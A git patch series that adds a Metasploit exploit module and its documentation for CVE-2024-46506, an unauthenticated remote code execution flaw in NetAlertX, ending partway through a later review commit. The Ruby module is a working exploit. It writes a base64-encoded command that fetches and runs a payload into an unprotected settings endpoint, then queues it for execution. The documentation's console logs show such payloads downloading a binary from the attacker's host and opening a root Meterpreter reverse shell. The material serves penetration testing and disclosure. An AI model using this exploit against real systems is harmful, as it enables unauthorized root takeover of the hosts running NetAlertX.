From 00f4f80530e6b5e0ea9d839a330ec8b5f2cd5ae9 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Sat, 8 Feb 2025 14:40:31 +0900 Subject: [PATCH 01/10] Add NetAlertx rce module (CVE-2024-46506) --- .../http/netalertx_rce_cve_2024_46506.md | 107 +++++++++++++ .../http/netalertx_rce_cve_2024_46506.rb | 148 ++++++++++++++++++ 2 files changed, 255 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md create mode 100644 modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md new file mode 100644 index 000000000000..117cb97ce051 --- /dev/null +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -0,0 +1,107 @@ +## Vulnerable Application + +An attacker can update NetAlertx settings with no authentication, which results in RCE. + +The vulnerability affects: + + * v23.01.14 <= NetAlertX <= v24.9.12 + +This module was successfully tested on: + + * NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04 + + +### Installation + +1. `docker pull jokobsk/netalertx:24.9.12` + +2. docker run +```bash +docker run --rm --network=host \ + -v /tmp/netalertx:/app/config \ + -v /tmp/netalertx:/app/db \ + -e TZ=Europe/Berlin \ + -e PORT=20211 \ + jokobsk/netalertx:24.9.12 +``` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options +### WAIT (required) +Wait time (seconds) for the payload to be set. Default is `75`. + + +## Scenarios +``` +msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options + +Module options (exploit/linux/http/netalertx_rce_cve_2024_46506): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht + ml + RPORT 20211 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + WAIT 75 yes Wait time (seconds) for the payload to be set + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME hhPzIVsphPBC no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST 192.168.0.12 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 24.9.12 detected. +[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9tR1Brb3hyUk9WIGh0dHA6Ly8xOTIuMTY4LjU2LjE6ODA4MC9HLThmOG5rb0gwZFRaR1BzTnZTMjNnO2NobW9kICt4IC4vbUdQa294clJPVjsuL21HUGtveHJST1Ymc2xlZXAgNDtybSAtcmYgLi9tR1Brb3hyUk9W|base64${IFS}-d|/bin/bash'. +[*] Waiting settings really updated... +[*] Sending stage (3045380 bytes) to 192.168.56.17 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:42572) at 2025-02-08 13:42:04 +0900 +[*] Added the payload to the queue. Waiting for the payload to run... +[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.56.17 +OS : (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb new file mode 100644 index 000000000000..74f06c8d4119 --- /dev/null +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Retry + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Unauthenticated RCE in NetAlertx', + 'Description' => %q{ + An attacker can update NetAlertx settings with no authentication, which results in RCE. + }, + 'Author' => [ + 'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-46506'], + ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'], + # ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?) + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true, + 'WfsDelay' => 75 + }, + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'WGET' + } + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-01-30', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + register_options( + [ + Opt::RPORT(20211), + OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]), + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'maintenance.php') + }) + return Exploit::CheckCode::Unknown unless res&.code == 200 + + version = Rex::Version.new(res&.get_html_document&.xpath('//div[text()="Installed version"]//following-sibling::*')&.text&.strip&.sub(/^v/, '')) + return Exploit::CheckCode::Unknown('Failed to detect version.') unless version + + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) + + Exploit::CheckCode::Appears("Version #{version} detected.") + end + + def exploit + # Command is splitted by the space, and processed by the below Python code + # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 + cmd = "/bin/bash -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/bash" + update_settings(cmd, '*') + # Not updated immediately + print_status('Waiting settings really updated...') + retry_until_truthy(timeout: datastore['WAIT']) do + check_settings(cmd) + end + add_to_execution_queue + end + + def update_settings(cmd, sche) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), + 'vars_post' => { + 'function' => 'savesettings', + 'settings' => [ + ['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'], + ['DBCLNP', 'DBCLNP_CMD', 'string', cmd], + ['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"], + ].to_json + } + }) + fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200 + print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.") + end + + def add_to_execution_queue + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), + 'vars_post' => { + 'function' => 'addToExecutionQueue', + 'action' => "#{Rex::Text.rand_text_alphanumeric(8)}-"\ + "#{Rex::Text.rand_text_alphanumeric(4)}-"\ + "#{Rex::Text.rand_text_alphanumeric(4)}-"\ + "#{Rex::Text.rand_text_alphanumeric(4)}-"\ + "#{Rex::Text.rand_text_alphanumeric(12)}|run|DBCLNP" + } + }) + fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200 + print_status('Added the payload to the queue. Waiting for the payload to run...') + end + + def check_settings(cmd) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/table_settings.json') + }) + return unless res&.code == 200 + + res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd } + end + + def cleanup + super + + # Default settings, cannot change (normally). + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 + update_settings( + 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', + '*/30' + ) + end +end From 4f584bd5a436ca61b04f581de0ed7059b98850bb Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Sat, 8 Feb 2025 17:35:55 +0900 Subject: [PATCH 02/10] Use cron restart --- .../linux/http/netalertx_rce_cve_2024_46506.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index 74f06c8d4119..c2b3d525d561 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -30,7 +30,7 @@ def initialize(info = {}) ], 'DefaultOptions' => { 'FETCH_DELETE' => true, - 'WfsDelay' => 75 + 'WfsDelay' => 150 }, 'Platform' => %w[linux], 'Targets' => [ @@ -88,7 +88,9 @@ def exploit retry_until_truthy(timeout: datastore['WAIT']) do check_settings(cmd) end - add_to_execution_queue + add_to_execution_queue('run|DBCLNP') + add_to_execution_queue('cron_restart_backend') + print_status('Added the payload to the queue. Waiting for the payload to run...') end def update_settings(cmd, sche) @@ -108,7 +110,7 @@ def update_settings(cmd, sche) print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.") end - def add_to_execution_queue + def add_to_execution_queue(cmd) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), @@ -118,11 +120,10 @@ def add_to_execution_queue "#{Rex::Text.rand_text_alphanumeric(4)}-"\ "#{Rex::Text.rand_text_alphanumeric(4)}-"\ "#{Rex::Text.rand_text_alphanumeric(4)}-"\ - "#{Rex::Text.rand_text_alphanumeric(12)}|run|DBCLNP" + "#{Rex::Text.rand_text_alphanumeric(12)}|#{cmd}" } }) fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200 - print_status('Added the payload to the queue. Waiting for the payload to run...') end def check_settings(cmd) From b02838a8dd669337049ae6858721efc238fa50c2 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Mon, 10 Feb 2025 12:52:26 +0900 Subject: [PATCH 03/10] NetAlertx -> NetAlertX --- .../exploit/linux/http/netalertx_rce_cve_2024_46506.md | 2 +- modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md index 117cb97ce051..6b70c8755f09 100644 --- a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -1,6 +1,6 @@ ## Vulnerable Application -An attacker can update NetAlertx settings with no authentication, which results in RCE. +An attacker can update NetAlertX settings with no authentication, which results in RCE. The vulnerability affects: diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index c2b3d525d561..fb9725b5f624 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -14,9 +14,9 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Unauthenticated RCE in NetAlertx', + 'Name' => 'Unauthenticated RCE in NetAlertX', 'Description' => %q{ - An attacker can update NetAlertx settings with no authentication, which results in RCE. + An attacker can update NetAlertX settings with no authentication, which results in RCE. }, 'Author' => [ 'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC From 127adda3dfa234bca186e004e97f8c928569c9ef Mon Sep 17 00:00:00 2001 From: Takahiro Yokoyama Date: Mon, 10 Feb 2025 21:06:50 +0900 Subject: [PATCH 04/10] Update modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb Co-authored-by: msutovsky-r7 --- modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index fb9725b5f624..821a490a0677 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -68,7 +68,8 @@ def check }) return Exploit::CheckCode::Unknown unless res&.code == 200 - version = Rex::Version.new(res&.get_html_document&.xpath('//div[text()="Installed version"]//following-sibling::*')&.text&.strip&.sub(/^v/, '')) +html_document = res&.get_html_document +version_element = html_document&.xpath('//div[text()="Installed version"]//following-sibling::*') return Exploit::CheckCode::Unknown('Failed to detect version.') unless version return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) From 92a73b1fed594d8eb88e24f8cce2dcd7fdc3c089 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Mon, 10 Feb 2025 21:18:19 +0900 Subject: [PATCH 05/10] Fix after applying suggestions --- .../exploits/linux/http/netalertx_rce_cve_2024_46506.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index 821a490a0677..ba98cbfcb890 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -68,8 +68,13 @@ def check }) return Exploit::CheckCode::Unknown unless res&.code == 200 -html_document = res&.get_html_document -version_element = html_document&.xpath('//div[text()="Installed version"]//following-sibling::*') + html_document = res&.get_html_document + return Exploit::CheckCode::Unknown('Failed to get html document.') unless html_document + + version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*') + return Exploit::CheckCode::Unknown('Failed to get version element.') unless version_element + + version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, '')) return Exploit::CheckCode::Unknown('Failed to detect version.') unless version return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) From 7149d3f3326b820befa0ba6ca938f326a1af1752 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Mon, 10 Feb 2025 21:31:50 +0900 Subject: [PATCH 06/10] Leave cleanup as an option --- .../linux/http/netalertx_rce_cve_2024_46506.md | 15 ++++++++++----- .../linux/http/netalertx_rce_cve_2024_46506.rb | 15 +++++++++------ 2 files changed, 19 insertions(+), 11 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md index 6b70c8755f09..0244986e3636 100644 --- a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -39,6 +39,9 @@ docker run --rm --network=host \ ### WAIT (required) Wait time (seconds) for the payload to be set. Default is `75`. +### CLEANUP +Restore DBCLNP_CMD to original value after execution. Default is `true`. + ## Scenarios ``` @@ -50,9 +53,10 @@ Module options (exploit/linux/http/netalertx_rce_cve_2024_46506): Name Current Setting Required Description ---- --------------- -------- ----------- + CLEANUP true no Restore DBCLNP_CMD to original value after execution Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht - ml + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp + loit.html RPORT 20211 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host @@ -65,7 +69,8 @@ Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): ---- --------------- -------- ----------- FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) FETCH_DELETE true yes Attempt to delete the binary after execution - FETCH_FILENAME hhPzIVsphPBC no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_FILENAME kORFEqBmqOC no Name to use on remote system when storing payload; cannot contain spaces or slashe + s FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload @@ -88,10 +93,10 @@ msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 r [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 24.9.12 detected. -[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9tR1Brb3hyUk9WIGh0dHA6Ly8xOTIuMTY4LjU2LjE6ODA4MC9HLThmOG5rb0gwZFRaR1BzTnZTMjNnO2NobW9kICt4IC4vbUdQa294clJPVjsuL21HUGtveHJST1Ymc2xlZXAgNDtybSAtcmYgLi9tR1Brb3hyUk9W|base64${IFS}-d|/bin/bash'. +[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9GUXl0Y3BRYW4gaHR0cDovLzE5Mi4xNjguNTYuMTo4MDgwL0ctOGY4bmtvSDBkVFpHUHNOdlMyM2c7Y2htb2QgK3ggLi9GUXl0Y3BRYW47Li9GUXl0Y3BRYW4mc2xlZXAgNjtybSAtcmYgLi9GUXl0Y3BRYW4=|base64${IFS}-d|/bin/bash'. [*] Waiting settings really updated... [*] Sending stage (3045380 bytes) to 192.168.56.17 -[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:42572) at 2025-02-08 13:42:04 +0900 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:34292) at 2025-02-10 21:29:25 +0900 [*] Added the payload to the queue. Waiting for the payload to run... [*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'. diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index ba98cbfcb890..d7b5e7748cef 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -57,6 +57,7 @@ def initialize(info = {}) [ Opt::RPORT(20211), OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]), + OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true]) ] ) end @@ -145,11 +146,13 @@ def check_settings(cmd) def cleanup super - # Default settings, cannot change (normally). - # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 - update_settings( - 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', - '*/30' - ) + if datastore['CLEANUP'] + # Default settings, cannot change (normally). + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 + update_settings( + 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', + '*/30' + ) + end end end From 8d592014474d24b5d620e77a15331b15c67c323f Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Mon, 10 Feb 2025 21:38:14 +0900 Subject: [PATCH 07/10] Update document --- .../exploit/linux/http/netalertx_rce_cve_2024_46506.md | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md index 0244986e3636..8993fcfad9a1 100644 --- a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -55,8 +55,7 @@ Module options (exploit/linux/http/netalertx_rce_cve_2024_46506): ---- --------------- -------- ----------- CLEANUP true no Restore DBCLNP_CMD to original value after execution Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp - loit.html + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 20211 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host @@ -69,8 +68,7 @@ Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): ---- --------------- -------- ----------- FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) FETCH_DELETE true yes Attempt to delete the binary after execution - FETCH_FILENAME kORFEqBmqOC no Name to use on remote system when storing payload; cannot contain spaces or slashe - s + FETCH_FILENAME zoAzVoLyP no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload @@ -93,10 +91,10 @@ msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 r [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 24.9.12 detected. -[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9GUXl0Y3BRYW4gaHR0cDovLzE5Mi4xNjguNTYuMTo4MDgwL0ctOGY4bmtvSDBkVFpHUHNOdlMyM2c7Y2htb2QgK3ggLi9GUXl0Y3BRYW47Li9GUXl0Y3BRYW4mc2xlZXAgNjtybSAtcmYgLi9GUXl0Y3BRYW4=|base64${IFS}-d|/bin/bash'. +[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9SbHBlc21GQURReSBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1JscGVzbUZBRFF5Oy4vUmxwZXNtRkFEUXkmc2xlZXAgMztybSAtcmYgLi9SbHBlc21GQURReQ==|base64${IFS}-d|/bin/bash'. [*] Waiting settings really updated... [*] Sending stage (3045380 bytes) to 192.168.56.17 -[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:34292) at 2025-02-10 21:29:25 +0900 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:50192) at 2025-02-10 21:36:07 +0900 [*] Added the payload to the queue. Waiting for the payload to run... [*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'. From 9f43fcc7adf6a0802ae61822783a6f2ddaaa4361 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Mon, 10 Feb 2025 22:00:52 +0900 Subject: [PATCH 08/10] Update FETCH_COMMAND default to curl --- .../exploit/linux/http/netalertx_rce_cve_2024_46506.md | 8 ++++---- .../exploits/linux/http/netalertx_rce_cve_2024_46506.rb | 5 +---- 2 files changed, 5 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md index 8993fcfad9a1..4c7b8a990279 100644 --- a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -66,9 +66,9 @@ Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- - FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) FETCH_DELETE true yes Attempt to delete the binary after execution - FETCH_FILENAME zoAzVoLyP no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload @@ -91,10 +91,10 @@ msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 r [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 24.9.12 detected. -[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9SbHBlc21GQURReSBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1JscGVzbUZBRFF5Oy4vUmxwZXNtRkFEUXkmc2xlZXAgMztybSAtcmYgLi9SbHBlc21GQURReQ==|base64${IFS}-d|/bin/bash'. +[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'. [*] Waiting settings really updated... [*] Sending stage (3045380 bytes) to 192.168.56.17 -[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:50192) at 2025-02-10 21:36:07 +0900 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900 [*] Added the payload to the queue. Waiting for the payload to run... [*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'. diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index d7b5e7748cef..d870a8e9e430 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -36,10 +36,7 @@ def initialize(info = {}) 'Targets' => [ [ 'Linux Command', { - 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, - 'DefaultOptions' => { - 'FETCH_COMMAND' => 'WGET' - } + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd } ], ], From edbdb985e39d7c1a10629ea5ea2711d9222ad5d5 Mon Sep 17 00:00:00 2001 From: Takahiro Yokoyama Date: Tue, 11 Feb 2025 08:59:37 +0900 Subject: [PATCH 09/10] Apply suggestions from code review Co-authored-by: msutovsky-r7 Co-authored-by: Julien Voisin --- .../http/netalertx_rce_cve_2024_46506.rb | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index d870a8e9e430..e8249c1b13e7 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -67,13 +67,12 @@ def check return Exploit::CheckCode::Unknown unless res&.code == 200 html_document = res&.get_html_document - return Exploit::CheckCode::Unknown('Failed to get html document.') unless html_document 